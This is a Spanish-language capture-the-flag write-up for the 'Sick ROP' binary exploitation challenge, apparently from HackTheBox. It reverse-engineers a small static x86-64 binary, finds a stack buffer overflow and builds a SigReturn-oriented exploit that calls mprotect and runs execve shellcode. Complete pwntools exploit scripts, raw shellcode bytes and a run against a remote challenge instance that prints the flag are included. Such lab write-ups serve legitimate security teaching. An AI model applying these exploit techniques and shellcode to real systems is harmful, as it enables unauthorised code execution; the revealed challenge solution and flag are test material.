Sick ROP
8 minutos de lectura
Se nos proporciona un binario de 64 bits llamado sick_rop
:
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Ingeniería inversa
El binario es tan pequeño que podemos mostrar el código ensamblador en completo aquí:
$ objdump -M intel -d sick_rop
sick_rop: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <read>:
401000: b8 00 00 00 00 mov eax,0x0
401005: bf 00 00 00 00 mov edi,0x0
40100a: 48 8b 74 24 08 mov rsi,QWORD PTR [rsp+0x8]
40100f: 48 8b 54 24 10 mov rdx,QWORD PTR [rsp+0x10]
401014: 0f 05 syscall
401016: c3 ret
0000000000401017 <write>:
401017: b8 01 00 00 00 mov eax,0x1
40101c: bf 01 00 00 00 mov edi,0x1
401021: 48 8b 74 24 08 mov rsi,QWORD PTR [rsp+0x8]
401026: 48 8b 54 24 10 mov rdx,QWORD PTR [rsp+0x10]
40102b: 0f 05 syscall
40102d: c3 ret
000000000040102e <vuln>:
40102e: 55 push rbp
40102f: 48 89 e5 mov rbp,rsp
401032: 48 83 ec 20 sub rsp,0x20
401036: 49 89 e2 mov r10,rsp
401039: 68 00 03 00 00 push 0x300
40103e: 41 52 push r10
401040: e8 bb ff ff ff call 401000 <read>
401045: 50 push rax
401046: 41 52 push r10
401048: e8 ca ff ff ff call 401017 <write>
40104d: c9 leave
40104e: c3 ret
000000000040104f <_start>:
40104f: e8 da ff ff ff call 40102e <vuln>
401054: eb f9 jmp 40104f <_start>
Vulnerabilidad de Buffer Overflow
Existe una vulnerabilidad de Buffer Overflow porque la función read
guarda hasta 0x300
bytes directamente en la pila (stack), y solamente 0x20
(32) bytes están reservados como buffer
.
Necesitamos 32 + 8 = 40 bytes para llegar a la posición de la dirección de retorno (porque los 8 bytes anteriores representan valor guardado de $rbp
), y vemos que se rompe el programa:
$ python3 -c 'print("A" * 40 + "BBBBBBBB")' | ./sick_rop
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
zsh: done python3 -c 'print("A" * 40 + "BBBBBBBB")' |
zsh: segmentation fault (core dumped) ./sick_rop
Estrategia de explotación
El binario tiene la protección NX, por lo que necesitamos utilizar Return Oriented Programming (ROP) para explotar la vulnerabilidad de Buffer Overflow. No obstante, como el binario es muy pequeño, solamente tenemos unos pocos gadgets:
$ ROPgadget --binary sick_rop
Gadgets information
============================================================
0x0000000000401012 : and al, 0x10 ; syscall
0x000000000040100d : and al, 8 ; mov rdx, qword ptr [rsp + 0x10] ; syscall
0x0000000000401044 : call qword ptr [rax + 0x41]
0x000000000040104c : dec ecx ; ret
0x000000000040100c : je 0x401032 ; or byte ptr [rax - 0x75], cl ; push rsp ; and al, 0x10 ; syscall
0x0000000000401023 : je 0x401049 ; or byte ptr [rax - 0x75], cl ; push rsp ; and al, 0x10 ; syscall
0x0000000000401054 : jmp 0x40104f
0x000000000040104d : leave ; ret
0x0000000000401010 : mov edx, dword ptr [rsp + 0x10] ; syscall
0x000000000040100b : mov esi, dword ptr [rsp + 8] ; mov rdx, qword ptr [rsp + 0x10] ; syscall
0x000000000040100f : mov rdx, qword ptr [rsp + 0x10] ; syscall
0x000000000040100e : or byte ptr [rax - 0x75], cl ; push rsp ; and al, 0x10 ; syscall
0x0000000000401011 : push rsp ; and al, 0x10 ; syscall
0x0000000000401016 : ret
0x0000000000401049 : retf 0xffff
0x0000000000401014 : syscall
Unique gadgets found: 16
Otra característica del binario, es que está compilado de forma estática:
$ file sick_rop
sick_rop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
Por tanto, no podemos utilizar la técnica de ret2libc. Además, no podremos utilizar execve("/bin/sh", 0, 0)
como syscall
ya que no tenemos los gadgets necesarios.
Sin embargo, podemos utilizar una técnica llamada SROP (SigReturn Oriented Programming), que consiste en utilizar una instrucción syscall
llamada sys_rt_sigreturn
que restaura un marco de la pila (stack frame) en los registros. Después de eso, seremos capaces de utilizar otra syscall
, que será sys_mprotect
para cambiar los permisos de memoria de la pila a rwx
(lectura, escritura y ejecución). Una vez que se realice, podremos introducir shellcode en el dicho espacio de memoria y ejecutarlo (saltándonos la protección NX).
Para realizar un sys_rt_sigreturn
necesitamos que $rax
tenga un valor de 0xf
(15) y que la pila (stack) esté rellena con el valor de los registros que queremos restaurar.
Para ejecutar sys_mprotect
necesitamos que $rax
tenga un valor de 0xa
(10), que $rdi
tenga la dirección donde empieza el segmento de memoria, $rsi
con el tamaño del segmento y $rdx
con la configuración de permisos en bits (como el comando chmod
en Linux).
Primero, tenemos que encontrar una manera de controlar $rax
. Esto es sencillo, ya que read
pondrá la longitud de la cadena de entrada en $rax
, que puede ser comprobado con GDB:
$ gdb -q sick_rop
Reading symbols from sick_rop...
(No debugging symbols found in sick_rop)
gef➤ break vuln
Breakpoint 1 at 0x401032
gef➤ run
Starting program: ./sick_rop
Breakpoint 1, 0x0000000000401032 in vuln ()
gef➤ c
Continuing.
123456789
123456789
Breakpoint 1, 0x0000000000401032 in vuln ()
gef➤ p $rax
$1 = 0xa
Tiene un valor de 0xa
(10) porque hemos introducido 9 caracteres más el carácter de salto de línea. Por tanto, tenemos control sobre el registro $rax
.
Como tenemos suficiente espacio para escribir en la pila (casi 0x300
bytes), podemos sobreescribir $rip
con la dirección de vuln
y después introducir un gadget syscall; ret
(dirección 0x401014
) y después el frame de sys_rt_sigreturn
con los valores de los registros.
Tenemos que hacer esto porque tenemos que llamar a read
otra vez e introducir 15 bytes (0xf
), de manera que la siguiente instrucción sea el gadget syscall; ret
con $rax = 0xf
y se ejecute sys_rt_sigreturn
.
Desarrollo del exploit
Para realizar SROP, la librería pwntools
proporciona una clase llamada SigreturnFrame
que permite configurar los valores de los registros y ponerlo en bytes:
#!/usr/bin/env python3
from pwn import *
context.binary = 'sick_rop'
elf = context.binary
rop = ROP(elf)
syscall_ret = rop.find_gadget(['syscall', 'ret'])[0]
frame = SigreturnFrame()
frame.rax = 10 # sys_mprotect
frame.rdi = elf.address
frame.rsi = 0x4000 # size
frame.rdx = 0b111 # rwx
frame.rsp = 0x4010d8
frame.rip = syscall_ret
offset = 40
junk = b'A' * offset
payload = junk
payload += p64(elf.symbols.vuln)
payload += p64(syscall_ret)
payload += bytes(frame)
Este payload prepara la instrucción sys_rt_sigreturn
. Utilizando ROP, el binario llamará a vuln
, de forma que podemos introducir 15 bytes para poner $rax = 0xf
y ejecutar la instrucción sys_rt_sigreturn
. Luego, la configuración anterior de registros será efectiva. Después, la siguiente instrucción será el gadget syscall; ret
(otra vez, porque $rip
se ha configurado con la dirección de este gadget en el proceso de sys_rt_sigreturn
) y por tanto, la instrucción sys_mprotect
se ejecutará, cambiando los permisos del segmento del binario a rwx
.
Nótese que $rsp
se cambia también durante la operación de sys_rt_sigreturn
para que apunte a una dirección del segmento que se va a cambiar mediante sys_mprotect
, de manera que el shellcode que introduzcamos más tarde se guarde en una dirección fija (no hay protección PIE). porque no existen gadgets del tipo jmp $rsp
. Esta dirección es un puntero a la dirección de vuln
:
gef➤ p vuln
$2 = {<text variable, no debug info>} 0x40102e <vuln>
gef➤ grep 0x40102e
[+] Searching '\x2e\x10\x40' in memory
[+] In './sick_rop'(0x401000-0x402000), permission=r-x
0x4010d8 - 0x4010e4 → "\x2e\x10\x40[...]"
Vamos a actualizar el exploit de Python y añadir GDB al proceso mediante pwntools
:
#!/usr/bin/env python3
from pwn import *
context.binary = 'sick_rop'
elf = context.binary
rop = ROP(elf)
def main():
p = elf.process()
gdb attach(p, gdbscript='break vuln')
syscall_ret = rop.find_gadget(['syscall', 'ret'])[0]
frame = SigreturnFrame()
frame.rax = 10 # sys_mprotect
frame.rdi = elf.address
frame.rsi = 0x4000 # size
frame.rdx = 0b111 # rwx
frame.rsp = 0x4010d8
frame.rip = syscall_ret
offset = 40
junk = b'A' * offset
payload = junk
payload += p64(elf.symbols.vuln)
payload += p64(syscall_ret)
payload += bytes(frame)
p.sendline(payload)
p.recv()
payload = b'B' * 15 # sys_rt_sigreturn
p.send(payload)
p.recv()
shellcode = b'C' * 32
payload = junk
payload += b'D' * 8
payload += shellcode
p.send(payload)
p.recv()
p.interactive()
if __name__ == '__main__':
main()
Si lo ejecutamos, GDB se agrega al proceso. Podemos continuar hasta que lleguemos a una violación de segmento (segmentation fault). En este punto, podemos imprimir los valores de la pila y ver dónde se almacena el shellcode (caracteres C
, 0x43
):
gef➤ x/20x $rsp
0x4010e0: 0x44444444 0x44444444 0x43434343 0x43434343
0x4010f0: 0x43434343 0x43434343 0x43434343 0x43434343
0x401100: 0x43434343 0x43434343 0x00402000 0x00000000
0x401110: 0x00000000 0x00000000 0x00000025 0x00010010
0x401120: 0x00402000 0x00000000 0x00000000 0x00000000
Como se muestra, las 8 letras D
están en 0x4010e0
, por lo que el shellcode empieza en 0x4010e8
. Podemos coger un shellcode de 64 bits como este: https://www.exploit-db.com/exploits/46907 y sobrescribir $rip
con 0x4010e8
. Este es el exploit resultante:
#!/usr/bin/env python3
from pwn import context, p64, remote, ROP, SigreturnFrame, sys
context.binary = 'sick_rop'
elf = context.binary
rop = ROP(elf)
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], int(sys.argv[2])
return remote(host, port)
def main():
p = get_process()
syscall_ret = rop.find_gadget(['syscall', 'ret'])[0]
frame = SigreturnFrame()
frame.rax = 10 # sys_mprotect
frame.rdi = elf.address
frame.rsi = 0x4000 # size
frame.rdx = 0b111 # rwx
frame.rsp = 0x4010d8
frame.rip = syscall_ret
offset = 40
junk = b'A' * offset
payload = junk
payload += p64(elf.symbols.vuln)
payload += p64(syscall_ret)
payload += bytes(frame)
p.sendline(payload)
p.recv()
payload = b'B' * 15 # sys_rt_sigreturn
p.send(payload)
p.recv()
shellcode = (b'\x48\x31\xf6\x56\x48\xbf\x2f\x62'
b'\x69\x6e\x2f\x2f\x73\x68\x57\x54'
b'\x5f\x6a\x3b\x58\x99\x0f\x05')
payload = junk
payload += p64(0x4010e8)
payload += shellcode
p.send(payload)
p.recv()
p.interactive()
if __name__ == '__main__':
main()
Lo podemos lanzar en local:
$ python3 solve.py
[*] './sick_rop'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 3 cached gadgets for 'sick_rop'
[+] Starting local process './sick_rop': pid 1255400
[*] Switching to interactive mode
$ ls
sick_rop solve.py
Flag
Y perfecto. Ahora lo podemos lanzar a la instancia remota:
$ python3 solve.py 157.245.35.236:30174
[*] './sick_rop'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 3 cached gadgets for 'sick_rop'
[+] Opening connection to 157.245.35.236 on port 30174: Done
[*] Switching to interactive mode
$ ls
flag.txt
run_challenge.sh
sick_rop
$ cat flag.txt
HTB{why_st0p_wh3n_y0u_cAn_s1GRoP!?}